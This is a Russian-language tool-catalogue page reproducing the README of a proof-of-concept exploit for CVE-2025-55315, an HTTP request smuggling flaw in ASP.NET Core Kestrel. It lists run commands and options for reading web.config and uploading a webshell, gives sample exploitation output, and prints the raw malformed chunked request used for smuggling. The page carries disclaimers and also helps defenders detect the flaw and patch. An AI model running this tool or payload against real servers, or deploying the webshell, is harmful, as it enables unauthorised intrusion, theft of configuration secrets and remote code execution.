Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

ЛентыКонтактыКонфиденциальность© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2025-55315-PoC-Exploit — CVE-2025-55315 PoC-эксплойт | Kitploit
Инструменты/GitHubGitHub/zemarkhos/cve-2025-55315-poc-exploit
Сканеры уязвимостейГенерация полезной нагрузкиЭксплуатацияЭксплуатация веб-приложенийВеб-безопасностьТестирование на Проникновение
GitHubzemarkhos/cve-2025-55315-poc-exploit

CVE-2025-55315-PoC-Exploit

CVE-2025-55315 PoC-эксплойт

Репозиторий
851311 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2025-55315 Инструмент для пентеста

Инструмент эксплуатации HTTP Request Smuggling для ASP.NET Core Kestrel

Python Version CVE CVSS License


⚠️ ПРАВОВОЕ ПРЕДУПРЕЖДЕНИЕ

ЭТОТ ИНСТРУМЕНТ ПРЕДНАЗНАЧЕН ТОЛЬКО ДЛЯ АВТОРИЗОВАННОГО ТЕСТИРОВАНИЯ БЕЗОПАСНОСТИ!

  • Используйте ТОЛЬКО на системах, которыми вы владеете или на тестирование которых имеете явное письменное разрешение
  • Несанкционированный доступ к компьютерным системам ПРОТИВОЗАКОНЕН
  • Создатель инструмента НЕ несёт ответственности за неправомерное использование
  • Используя этот инструмент, вы принимаете на себя полную юридическую ответственность

📋 Обзор

Профессиональный инструмент для пентеста CVE-2025-55315 (уязвимость HTTP Request Smuggling в ASP.NET Core Kestrel). Инструмент предназначен для анализа одной цели с комплексными возможностями эксплуатации.

Что такое CVE-2025-55315?

Критическая уязвимость HTTP Request Smuggling в веб-сервере ASP.NET Core Kestrel (CVSS 9.9/10), которая позволяет атакующим:

  • Обходить аутентификацию
  • Похищать учётные данные и токены сессий
  • Выполнять подделку запросов на стороне сервера (SSRF)
  • Отравлять кэши
  • Загружать веб-шеллы и получать удалённое выполнение кода

Затронутые версии:

  • от .NET Core 3.0 до .NET 9.0.9
  • Исправлено в: .NET 8.0.21+, 9.0.10+, 10.0.0-rc2+

✨ Возможности

Основные возможности

  • ✅ Анализ одной цели — сфокусированное тестирование безопасности конкретной цели
  • ✅ Автоматическое обнаружение конечных точек — обнаруживает типичные конечные точки ASP.NET Core
  • ✅ Ручное тестирование конечных точек — тестирование конкретных интересующих конечных точек
  • ✅ Обнаружение уязвимостей — точное определение CVE-2025-55315
  • ✅ Извлечение web.config — чтение конфигурационных файлов через request smuggling
  • ✅ Загрузка веб-шелла — опциональная возможность развёртывания веб-шелла
  • ✅ Подробные отчёты — отчёты в форматах JSON и текстовом
  • ✅ Функции безопасности — множественные запросы подтверждения для деструктивных действий

Технические возможности

  • Поддержка HTTP/1.1 и HTTPS
  • Поддержка нестандартных портов
  • Настраиваемые таймауты
  • Подробный режим отладки
  • Цветной вывод в терминале
  • Обход проверки SSL-сертификатов (для тестирования)

🔧 Установка

Требования

# Python 3.7 or higher
python3 --version

# No external dependencies - uses only standard library

Загрузка

# Clone or download the tool
git clone https://github.com/ZemarKhos/CVE-2025-55315-PoC-Exploit.git
cd CVE-2025-55315-PoC-Exploit

# Make executable
chmod +x cve_2025_55315_PoC.py

🚀 Быстрый старт

Базовая проверка уязвимости

python3 cve_2025_55315_PoC.py -t target.com

Это позволит:

  1. Собрать информацию о сервере
  2. Автоматически обнаружить активные конечные точки
  3. Проверить каждую конечную точку на CVE-2025-55315
  4. Отобразить результаты в терминале

Тестирование конкретной конечной точки

python3 cve_2025_55315_PoC.py -t target.com -e /api/login

Полное сканирование с извлечением web.config

python3 cve_2025_55315_PoC.py -t target.com --read-config -o report.txt

Продвинутый режим: полная эксплуатация (только при наличии разрешения!)

python3 cve_2025_55315_PoC.py \
  -t target.com \
  --read-config \
  --upload-shell \
  -v \
  -o full_report.txt

📖 Примеры использования

Пример 1: Быстрая проверка

Сценарий: Проверить, уязвим ли производственный сервер

python3 cve_2025_55315_PoC.py -t api.mycompany.com

Ожидаемая длительность: 30-60 секунд


Пример 2: Детальное сканирование

Сценарий: Комплексное сканирование конечных точек с подробным выводом

python3 cve_2025_55315_PoC.py -t api.mycompany.com -v -o scan_results.txt

Ожидаемая длительность: 2-5 минут


Пример 3: Несколько конечных точек

Сценарий: Тестирование конкретных критически важных конечных точек

python3 cve_2025_55315_PoC.py \
  -t api.mycompany.com \
  -e /api/payment/process \
  -e /api/admin/users \
  -e /api/internal/config \
  -o critical_endpoints.txt

Пример 4: Цель без SSL

Сценарий: Тестирование внутреннего HTTP-сервера

python3 cve_2025_55315_PoC.py \
  -t internal-api.local \
  -p 8080 \
  --no-ssl

📊 Параметры командной строки

usage: cve_2025_55315_PoC.py [-h] -t TARGET [-p PORT] [-e ENDPOINT]
                                  [--no-ssl] [--read-config] [--upload-shell]
                                  [-o OUTPUT] [-v] [--timeout TIMEOUT]

Required Arguments:
  -t, --target         Target hostname or URL (e.g., target.com)

Optional Arguments:
  -p, --port           Port number (default: 443 for SSL, 80 for non-SSL)
  -e, --endpoint       Specific endpoint(s) to test (can be used multiple times)
  --no-ssl             Disable SSL/HTTPS (use HTTP)
  --read-config        Attempt to read web.config file
  --upload-shell       Attempt webshell upload (requires confirmation)
  -o, --output         Save report to file
  -v, --verbose        Enable verbose output
  --timeout            Socket timeout in seconds (default: 10)
  -h, --help           Show help message

🔍 Понимание вывода

Пример уязвимой системы

Target: old-api.company.com:443
Vulnerable: YES - CRITICAL

--- Server Information ---
  server: Kestrel/8.0.15
  kestrel_detected: True
  http_version: 1.1

--- VULNERABLE ENDPOINTS (2) ---
  ✗ /api/login
    Details: Request smuggling successful - multiple responses
  ✗ /api/health
    Details: Request smuggling successful - multiple responses

--- SUCCESSFUL EXPLOITS ---
  ✓ web.config_read via /api/login

Интерпретация:

  • 🔴 ОБНАРУЖЕНА КРИТИЧЕСКАЯ УЯЗВИМОСТЬ
  • 🔴 Несколько конечных точек уязвимы
  • 🔴 Конфигурационный файл был успешно извлечён
  • ⚡ СРОЧНО: Обновитесь до .NET 8.0.21+ или 9.0.10+

Пример защищённой системы

Target: new-api.company.com:443
Vulnerable: NO - SECURE

--- Server Information ---
  server: Kestrel/9.0.10
  kestrel_detected: True
  http_version: 1.1

[SUCCESS] ✓ Endpoint NOT vulnerable (400 Bad Request)

✓ No vulnerable endpoints found - target may be patched

Интерпретация:

  • ✅ СИСТЕМА ЗАЩИЩЕНА
  • ✅ Запущена исправленная версия Kestrel
  • ✅ Все некорректные запросы отклонены

🛡️ Безопасность и этика

Контрольный список авторизации

Перед запуском этого инструмента убедитесь, что:

  • Вы владеете целевой системой, ИЛИ
  • У вас есть письменное разрешение на тестирование, И
  • Служба безопасности уведомлена, И
  • У вас есть план отката, И
  • Вы понимаете юридические последствия

Встроенные функции безопасности

  1. Двухэтапное подтверждение — инструмент запрашивает авторизацию перед запуском
  2. Подтверждение загрузки веб-шелла — требует ввода «YES» заглавными буквами
  3. Ограничение скорости — задержки между запросами во время автоматического обнаружения
  4. Защита от таймаутов — предотвращает зависшие соединения
  5. Подробное журналирование — все действия записываются для аудита

🔬 Технические подробности

Методика эксплуатации

Инструмент эксплуатирует CVE-2025-55315 с помощью некорректной chunked transfer encoding:

POST /endpoint HTTP/1.1
Host: target.com
Transfer-Encoding: chunked

2;\n          ← VULNERABILITY: Lone \n instead of \r\n
XX
0\r\n
\r\n
GET /smuggled HTTP/1.1    ← This becomes a separate request
Host: target.com
Скачать инструмент